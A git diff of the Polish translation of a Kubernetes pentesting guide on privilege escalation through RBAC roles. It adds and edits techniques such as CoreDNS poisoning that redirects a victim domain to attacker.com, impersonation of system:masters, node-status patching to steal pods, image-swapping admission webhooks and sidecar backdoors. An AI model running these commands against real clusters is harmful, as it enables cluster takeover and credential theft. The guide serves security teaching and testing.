diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index d25feab3b..815c83bd3 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -11,13 +11,13 @@ Odnosimy się do sztuki uzyskiwania **dostępu do innego podmiotu** w klastrze * - Możliwość **podszywania się** pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur - Możliwość **tworzenia/patchowania/uruchamiania podów**, gdzie możesz **znaleźć lub podłączyć SAs** z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur -- Możliwość **odczytywania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety +- Możliwość **czytania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety - Możliwość **ucieczki do węzła** z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle) - Piątą techniką, która zasługuje na wzmiankę, jest możliwość **uruchomienia port-forward** w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie. ### Access Any Resource or Verb (Wildcard) -**Wildcard (\*) daje uprawnienia do każdego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze +**dziki znak (\*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Atakujący z uprawnieniami do tworzenia poda może dołączyć uprzywilejowane konto usługi do poda i ukraść token, aby podszyć się pod konto usługi. Efektywnie eskalując uprawnienia do niego. +Atakujący z uprawnieniami do tworzenia poda może dołączyć uprzywilejowane konto serwisowe do poda i ukraść token, aby podszyć się pod konto serwisowe. Efektywnie eskalując uprawnienia do niego. -Przykład poda, który ukradnie token konta usługi `bootstrap-signer` i wyśle go do atakującego: +Przykład poda, który ukradnie token konta serwisowego `bootstrap-signer` i wyśle go do atakującego: ```yaml apiVersion: v1 kind: Pod @@ -138,9 +138,9 @@ Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach może _Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Create - Przenieś do chmury +### Pod Create - Move to cloud -Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do podu lub konta usługi** i następnie uzyskanie do niego dostępu.\ +Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do poda lub konta usługi** i następnie uzyskanie do niego dostępu.\ Co więcej, jeśli możesz stworzyć **pod z przestrzenią nazw sieci hosta**, możesz **ukraść rolę IAM** instancji **węzła**. Aby uzyskać więcej informacji, sprawdź: @@ -149,11 +149,11 @@ Aby uzyskać więcej informacji, sprawdź: pod-escape-privileges.md {{#endref}} -### **Utwórz/Zaktualizuj wdrożenie, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs i Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Możliwe jest nadużycie tych uprawnień do **stworzenia nowego podu** i uzyskania uprawnień, jak w poprzednim przykładzie. +Możliwe jest nadużycie tych uprawnień, aby **stworzyć nowy pod** i uzyskać uprawnienia, jak w poprzednim przykładzie. -Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz podu: +Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz poda: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -197,16 +197,21 @@ Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejś ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Domyślnie polecenie jest wykonywane w pierwszym kontenerze poda. Uzyskaj **wszystkie kontenery w podzie** za pomocą `kubectl get pods -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je wykonać, używając `kubectl exec -it -c -- sh`. + +Jeśli to kontener bez dystrybucji, możesz spróbować użyć **wbudowanych poleceń powłoki**, aby uzyskać informacje o kontenerach lub przesłać własne narzędzia, takie jak **busybox**, używając: **`kubectl cp :`**. + ### port-forward -To uprawnienie pozwala na **przekierowanie jednego lokalnego portu na jeden port w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (webów?) wewnątrz poda: -``` +To uprawnienie pozwala na **przekierowanie jednego lokalnego portu do jednego portu w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak bazy danych) lub podatnych aplikacji (webów?) wewnątrz poda: +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub utworzyć pod z **zamontowanym katalogiem `/var/log/` hosta**, możesz **uciec z kontenera**.\ -Dzieje się tak, ponieważ gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs `), **żąda pliku `0.log`** podu, korzystając z punktu końcowego `/logs/` usługi **Kubelet**.\ +As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub stworzyć pod z **zamontowanym katalogiem `/var/log/`** na nim, możesz **uciec z kontenera**.\ +Dzieje się tak, ponieważ gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs `), **żąda pliku `0.log`** podu za pomocą punktu końcowego `/logs/` usługi **Kubelet**.\ Usługa Kubelet udostępnia punkt końcowy `/logs/`, który zasadniczo **udostępnia system plików `/var/log` kontenera**. Dlatego atakujący z **dostępem do zapisu w folderze /var/log/** kontenera mógłby nadużyć tego zachowania na 2 sposoby: @@ -235,7 +240,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// #### Ominięcie ochrony readOnly -Jeśli masz wystarczające szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw: +Jeśli masz szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw: ```bash mount -o rw,remount /hostlogs/ ``` @@ -247,7 +252,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Które miało na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu: +Który miał na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu: ```yaml apiVersion: v1 kind: PersistentVolume @@ -295,14 +300,14 @@ name: task-pv-storage-vol ``` ### **Podszywanie się pod uprzywilejowane konta** -Z uprawnieniem [**podszywania się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszywać się pod uprzywilejowane konto. +Dzięki [**podszywaniu się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) atakujący może podszyć się pod uprzywilejowane konto. Wystarczy użyć parametru `--as=` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=`, aby podszyć się pod grupę: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Lub użyj REST API: +Lub użyj interfejsu API REST: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -318,7 +323,7 @@ curl -v -H "Authorization: Bearer " https://:/api/v1 ``` ### Tworzenie i Odczytywanie Sekretów -Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz utworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego: +Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz stworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego: ```yaml apiVersion: v1 kind: Secret @@ -377,17 +382,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Zauważ, że jeśli masz pozwolenie na tworzenie i odczytywanie sekretów w danej przestrzeni nazw, konto usługi ofiary również musi znajdować się w tej samej przestrzeni nazw. +Zauważ, że jeśli masz prawo do tworzenia i odczytywania sekretów w danej przestrzeni nazw, konto usługi ofiary również musi znajdować się w tej samej przestrzeni nazw. ### Odczytywanie sekretu – brute-forcing tokenów ID Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju _**wyliczania sekretów**_, nadal istnieją luki. Domyślne konta usług w systemie mogą być wyliczane, z każdym powiązanym z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [kodem źródłowym](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza całkowitą liczbę możliwych kombinacji do 14 348 907 (27^5). W związku z tym atakujący mógłby wykonać atak brute-force, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont usług. +Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brute-force, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont usług. ### Żądania podpisania certyfikatu -Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **utworzyć** nowy CeSR dla **nowego węzła.** +Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **utworzyć** nowy CeSR dla **nowego węzła**. Zgodnie z [dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), więc w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, musiałbyś być w stanie zatwierdzić żądanie, co oznacza aktualizację w `certificatesigningrequests/approval` i `approve` w `signers` z resourceName `/` lub `/*` @@ -422,7 +427,7 @@ resourceNames: verbs: - approve ``` -Więc, z nowym zatwierdzonym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**. +Więc, z zatwierdzonym nowym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**. W [**tym poście**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**tym**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z **automatycznym podpisywaniem** i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów.\ Jeśli **masz wspomniane uprawnienia, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ **węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.** @@ -433,7 +438,7 @@ Sposób na obejście tego to po prostu **utworzenie poświadczeń węzła dla na ``` ### AWS EKS aws-auth configmaps -Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując configmap **aws-auth**.\ +Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując **aws-auth** configmap.\ Potrzebne czasowniki to **`update`** i **`patch`**, lub **`create`**, jeśli configmap nie został utworzony: ```bash # Check if config map exists @@ -476,15 +481,55 @@ groups: > [!WARNING] > Możesz użyć **`aws-auth`** do **utrzymania** dostępu dla użytkowników z **innych kont**. > -> Jednak `aws --profile other_account eks update-kubeconfig --name ` **nie działa z innego konta**. Ale w rzeczywistości `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli podasz ARN klastra zamiast samej nazwy.\ +> Jednak `aws --profile other_account eks update-kubeconfig --name ` **nie działa z innego konta**. Ale właściwie `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli wstawisz ARN klastra zamiast samej nazwy.\ > Aby `kubectl` działał, upewnij się, że **skonfigurujesz** **kubeconfig ofiary** i w argumentach exec aws dodaj `--profile other_account_role`, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS. +### CoreDNS config map + +Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w przestrzeni nazw `kube-system`, możesz zmodyfikować adresy, do których będą rozwiązywane domeny, aby móc przeprowadzać ataki MitM w celu **kradzieży wrażliwych informacji lub wstrzykiwania złośliwej treści**. + +Potrzebne czasowniki to **`update`** i **`patch`** dla **`coredns`** configmap (lub wszystkich config maps). + +Zwykły **plik coredns** zawiera coś takiego: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Atakujący mógłby pobrać to, uruchamiając `kubectl get configmap coredns -n kube-system -o yaml`, zmodyfikować, dodając coś takiego jak `rewrite name victim.com attacker.com`, aby za każdym razem, gdy uzyskiwany jest dostęp do `victim.com`, w rzeczywistości dostęp byłby do `attacker.com`. Następnie można to zastosować, uruchamiając `kubectl apply -f poison_dns.yaml`. + +Inną opcją jest po prostu edytowanie pliku, uruchamiając `kubectl edit configmap coredns -n kube-system` i wprowadzając zmiany. + ### Eskalacja w GKE -Istnieją **2 sposoby przypisania uprawnień K8s do zasad GCP**. W każdym przypadku zasada również potrzebuje uprawnienia **`container.clusters.get`**, aby móc zebrać poświadczenia do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem). +Są **2 sposoby przypisania uprawnień K8s do zasad GCP**. W każdym przypadku zasada również potrzebuje uprawnienia **`container.clusters.get`**, aby móc zebrać dane uwierzytelniające do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem). > [!WARNING] -> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, przez punkt końcowy API K8s, najpierw **sprawdzi, czy zasada** (po e-mailu) **ma jakikolwiek dostęp wewnątrz klastra**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\ +> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, poprzez punkt końcowy API K8s, najpierw **sprawdzi, czy zasada** (po e-mailu) **ma jakikolwiek dostęp w klastrze**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\ > Jeśli **jakiekolwiek** z tych stwierdzeń jest **prawdziwe**, otrzyma **odpowiedź**. Jeśli **nie**, zostanie podany **błąd** sugerujący nadanie **uprawnień przez GCP IAM**. Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedniki w uprawnieniach GCP IAM**, a jeśli zasada je ma, będzie mogła z nich korzystać. @@ -493,30 +538,30 @@ Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedni ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Druga metoda to **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP). +Drugą metodą jest **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP). -### Tworzenie tokenów kont serwisowych +### Tworzenie tokena serviceaccounts Zasady, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas rozmowy z punktem końcowym API K8s SAs (informacje z [**tutaj**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Zasady, które mogą **`aktualizować`** lub **`patchować`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wyjść** na ich węzeł, dodając kontener ephemerowy z uprzywilejowanym securityContext. +Zasady, które mogą **`aktualizować`** lub **`patchować`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wydostać się** na swoją węzeł, dodając tymczasowy kontener z uprzywilejowanym securityContext. ### ValidatingWebhookConfigurations lub MutatingWebhookConfigurations Zasady z dowolnym z czasowników `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**. -Dla przykładu [`mutatingwebhookconfigurations` sprawdź tę sekcję tego posta](#malicious-admission-controller). +Dla [`mutatingwebhookconfigurations` przykładu sprawdź tę sekcję tego posta](#malicious-admission-controller). ### Eskalacja -Jak możesz przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), zasada nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**.\ -Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które ma. +Jak można przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), zasada nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate` lub `*`** nad **`roles`** lub **`clusterroles`** oraz odpowiednie opcje wiązania.\ +Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada. ### Proxy węzłów -Zasady z dostępem do podzasobu **`nodes/proxy`** mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie: +Zasady z dostępem do **`nodes/proxy`** subresource mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -526,7 +571,7 @@ Masz przykład, jak uzyskać [**RCE rozmawiając autoryzowanym z API Kubelet tut ### Usuwanie podów + węzły nieschedulowalne -Zasady, które mogą **usuwać pody** (`delete` czasownik nad `pods` resource), lub **ewikować pody** (`create` czasownik nad `pods/eviction` resource), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **czynić inne węzły nieschedulowalnymi** (dostęp do `nodes/status`) lub **usuwać węzły** (`delete` czasownik nad `nodes` resource) i mają kontrolę nad pod, mogą **ukraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle** i atakujący może **ukraść tokeny** z tych podów. +Zasady, które mogą **usuwać pody** (czasownik `delete` nad zasobem `pods`), lub **ewikować pody** (czasownik `create` nad zasobem `pods/eviction`), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **sprawić, że inne węzły będą nieschedulowalne** (dostęp do `nodes/status`) lub **usuwać węzły** (czasownik `delete` nad zasobem `nodes`) i mają kontrolę nad pod, mogą **ukraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle**, a atakujący może **ukraść tokeny** z tych podów. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -539,27 +584,27 @@ kubectl delete pods -n kube-system ``` ### Status usług (CVE-2020-8554) -Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niepoprawioną CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niezałatany CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Status węzłów i podów -Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymogi dotyczące harmonogramowania. +Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramowania. ## Wbudowana zapobieganie eskalacji uprawnień Kubernetes ma [wbudowany mechanizm](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zapobiegający eskalacji uprawnień. -System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co stanowi zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny. +System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co zapewnia zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny. Zasada ta stanowi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje**. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról. > [!WARNING] > Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień. -### **Pobierz i Zaktualizuj RoleBindings/ClusterRoleBindings** +### **Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu, co wyjaśniono w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.** +> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.** Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie ról z kontem usługi**. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.** @@ -569,55 +614,29 @@ Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie r Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod. -#### Utwórz aplikację proxy sidecar +#### Utwórz aplikację proxy sidecar -Utwórz swój plik .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Edytuj swój plik .yaml i dodaj odkomentowane linie: +Kontener sidecar polega po prostu na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**. + +Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true -``` -Zobacz logi proxy: -```bash -kubectl logs app -C proxy +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` +Na przykład, aby wprowadzić backdoora do istniejącego poda z nowym kontenerem, możesz po prostu dodać nowy kontener w specyfikacji. Zauważ, że możesz **dać więcej uprawnień** drugiemu kontenerowi, których pierwszy nie będzie miał. + Więcej informacji na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Złośliwy Kontroler Przyjęć Kontroler przyjęć **przechwytuje żądania do serwera API Kubernetes** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania. -Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Złośliwy Kontroler Przyjęć**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a co bardziej zwykle, utrzymania się w klastrze. +Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Kontroler Przyjęć Mutacji**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze. **Przykład z** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -647,7 +666,7 @@ kubectl describe po nginx | grep "Image: " Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało!!? -#### Technicalities +#### Techniczne szczegóły Skrypt `./deploy.sh` ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki: ``` @@ -670,15 +689,15 @@ Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewa ### **Wyłączenie automatycznego montowania tokenów konta usługi** - **Pody i konta usługi**: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania. -- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji kont usług lub podów począwszy od wersji Kubernetes 1.6. +- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6. -### **Ograniczone przypisanie użytkowników w RoleBindings/ClusterRoleBindings** +### **Restrykcyjne przypisanie użytkowników w RoleBindings/ClusterRoleBindings** -- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączani w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo. +- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączeni w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo. -### **Role specyficzne dla przestrzeni nazw zamiast ról 